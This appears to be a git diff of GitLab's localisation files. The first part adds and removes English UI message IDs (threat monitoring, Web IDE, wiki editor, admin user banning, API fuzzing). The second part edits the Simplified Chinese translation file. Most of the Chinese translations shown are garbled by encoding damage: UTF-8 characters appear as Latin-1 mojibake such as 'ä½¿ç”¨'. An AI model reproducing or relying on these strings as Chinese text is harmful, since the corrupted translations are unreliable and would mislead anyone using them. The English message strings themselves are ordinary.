msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33230,9 +33898,6 @@ msgstr[0] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,13 +34129,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -36984,9 +37715,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,10 +38789,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38067,9 +38831,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38085,12 +38846,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index 62142cdd461..b2a575d5c29 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:14\n"
+"PO-Revision-Date: 2021-06-01 20:26\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] "使用标记æˆåŠŸå¯¼å…¥%d个议题"
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 个层"
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}群组%{group_docs_link_end} å…许您管ç†ã€å作多个项目。群组的æˆå‘˜å¯ä»¥è®¿é—®ç¾¤ç»„下的所有项目。"
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,11 +593,11 @@ msgstr "%{link_start}了解更多%{link_end}哪些信æ¯ä¼šå…±äº«ç»™GitLab Inc.ã
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}查看更多%{link_end} 关于角色æƒé™"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr "%{link_start}从标题中删除%{draft_or_wip_snippet}å‰ç¼€%{link_end}以å…许此åˆå¹¶è¯·æ±‚在准备就绪时被åˆå¹¶ã€‚"
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}以%{draft_snippet}或%{wip_snippet}作为标题的开头%{link_end},以防止正在处ç†ä¸­çš„åˆå¹¶è¯·æ±‚在准备好之å‰è¢«åˆå¹¶ã€‚"
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow},还有 %{awardsListLength} 个。"
@@ -732,6 +733,12 @@ msgstr "%{reportType}检测到%{totalStart}æ— %{totalEnd}安全æ¼æ´žã€‚"
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}é‡è¯•%{retryButtonEnd}或%{newFileButtonStart}添加新文件%{newFileButtonEnd}。"
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}秒"
@@ -779,9 +786,6 @@ msgstr "%{state}å²è¯—"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr "%{strongStart}删除%{strongEnd}æºåˆ†æ”¯"
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr "%{strongStart}注æ„:%{strongEnd} 添加自定义阶段åŽï¼Œæ‚¨å¯ä»¥é€šè¿‡å°†å…¶æ‹–动到所需ä½ç½®æ¥å¯¹é˜¶æ®µè¿›è¡Œé‡æ–°æŽ’åºã€‚"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr "%{strongStart}æ示:%{strongEnd}您å¯ä»¥%{linkStart}通过以下命令%{linkEnd}å°†åˆå¹¶è¯·æ±‚检出到本地。"
@@ -886,9 +890,15 @@ msgstr "%{userName} (æ— æƒåˆå¹¶)"
msgid "%{userName}'s avatar"
msgstr "%{userName} 的头åƒ"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name}的个人资料"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr "%{username}请求在您的实例 %{host}创建一个GitLab å¸æˆ·ï¼š"
@@ -952,9 +962,6 @@ msgstr "“%{name}â€ä»·å€¼æµå·²åˆ é™¤"
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "“%{name}â€é˜¶æ®µå·²ç»å­˜åœ¨"
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}'ä¸æ˜¯ä¸€ä¸ªå¯¼å…¥æº"
@@ -1260,6 +1267,9 @@ msgstr "验è¯ä½ çš„域å之å‰ï¼Œæˆ‘ä»¬æ— æ³•èŽ·å– Encrype SSL è¯ä¹¦ã€‚"
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "将使用您的电å­é‚®ä»¶åœ°å€ä¸ºæ­¤GitLab安装并é…ç½®Let's Encryptå¸æˆ·ã€‚您将收到è¯ä¹¦å³å°†åˆ°æœŸçš„警告电å­é‚®ä»¶ã€‚"
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "使用AWS Lambda,AWS API网关和GitLab Pages的基本页é¢å’Œæ— æœåŠ¡å™¨åŠŸèƒ½"
@@ -1281,6 +1291,9 @@ msgstr "已删除的用户"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "文件已更改。"
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr "项目包å«ç¾Žå›½å«ç”Ÿä¸Žå…¬å…±æœåŠ¡éƒ¨å‘布的HIPAA审计å议中æ¯ä¸ªå®¡è®¡æŸ¥è¯¢çš„议题"
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "项目å¯ä»¥ç”¨äºŽå­˜æ”¾æ–‡ä»¶(仓库),安排计划(议题),并å‘布文档(wiki), %{among_other_things_link}。"
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "一个用于识别外部储存的请求安全令牌。"
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS访问密钥"
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "添加一个符å·åˆ—表"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "å‘此行添加评论"
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr "请您调整上é¢çš„筛选器/æœç´¢æ¡ä»¶ã€‚如果您认为此处有误,请å‚阅 %{linkStart}Geo故障排除%{linkEnd}文档以获å–更多信æ¯ã€‚"
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "管ç†ä¸­å¿ƒ"
@@ -2104,7 +2123,7 @@ msgid "AdminArea|All users created in the instance, including users who are not
msgstr "本实例中创建的所有用户,其中也包括éž%{billable_users_link_start}收费用户%{billable_users_link_end}。"
msgid "AdminArea|Billable users"
-msgstr "活跃用户"
+msgstr "计费用户"
msgid "AdminArea|Blocked users"
msgstr "å·²ç¦ç”¨ç”¨æˆ·"
@@ -2226,9 +2245,6 @@ msgstr "环境å˜é‡é»˜è®¤å—ä¿æŠ¤"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "转到常规设置"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr "移动到集æˆ"
msgid "AdminSettings|No required pipeline"
msgstr "没有必需的æµæ°´çº¿"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "强制æµæ°´çº¿é…ç½®"
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "设置一个实例范围自动包å«çš„%{link_start}æµæ°´çº¿é…ç½®%{link_end}。 该æµæ°´çº¿é…置将在项目本身的é…ç½®åŽè¿è¡Œã€‚"
-msgid "AdminSettings|Some settings have moved"
-msgstr "æŸäº›è®¾ç½®å·²ç§»åŠ¨"
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "为æ¯ä¸ªé¡¹ç›®çš„自动审阅应用 (Auto Review Apps) 和自动部署 (Auto Deploy) 阶段指定一个默认使用的域。"
@@ -2316,6 +2326,9 @@ msgstr "代ç ç‰‡æ®µ"
msgid "AdminUsers|(Admin)"
msgstr "管ç†å‘˜"
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr "å·²å±è”½"
@@ -2334,6 +2347,9 @@ msgstr "未å¯ç”¨åŒé‡è®¤è¯"
msgid "AdminUsers|2FA Enabled"
msgstr "å¯ç”¨åŒé‡è®¤è¯"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr "访问类型"
@@ -2382,6 +2398,21 @@ msgstr "确定继续å—?"
msgid "AdminUsers|Automatically marked as default internal user"
msgstr "自动标记为默认内部用户"
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr "添加到群组和项目"
@@ -2412,6 +2443,9 @@ msgstr "无法解除已ç¦ç”¨çš„ LDAP 用户"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "冻结"
@@ -2466,6 +2500,9 @@ msgstr "正在使用许å¯å¸­ä½"
msgid "AdminUsers|It's you!"
msgstr "自己ï¼"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr "登录"
@@ -2547,6 +2584,15 @@ msgstr "请输入 %{projectName} æ¥ç¡®è®¤"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "请输入 %{username} æ¥ç¡®è®¤"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr "å–消ç¦ç”¨"
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "用户将无法访问git仓库"
@@ -2574,6 +2626,9 @@ msgstr ""
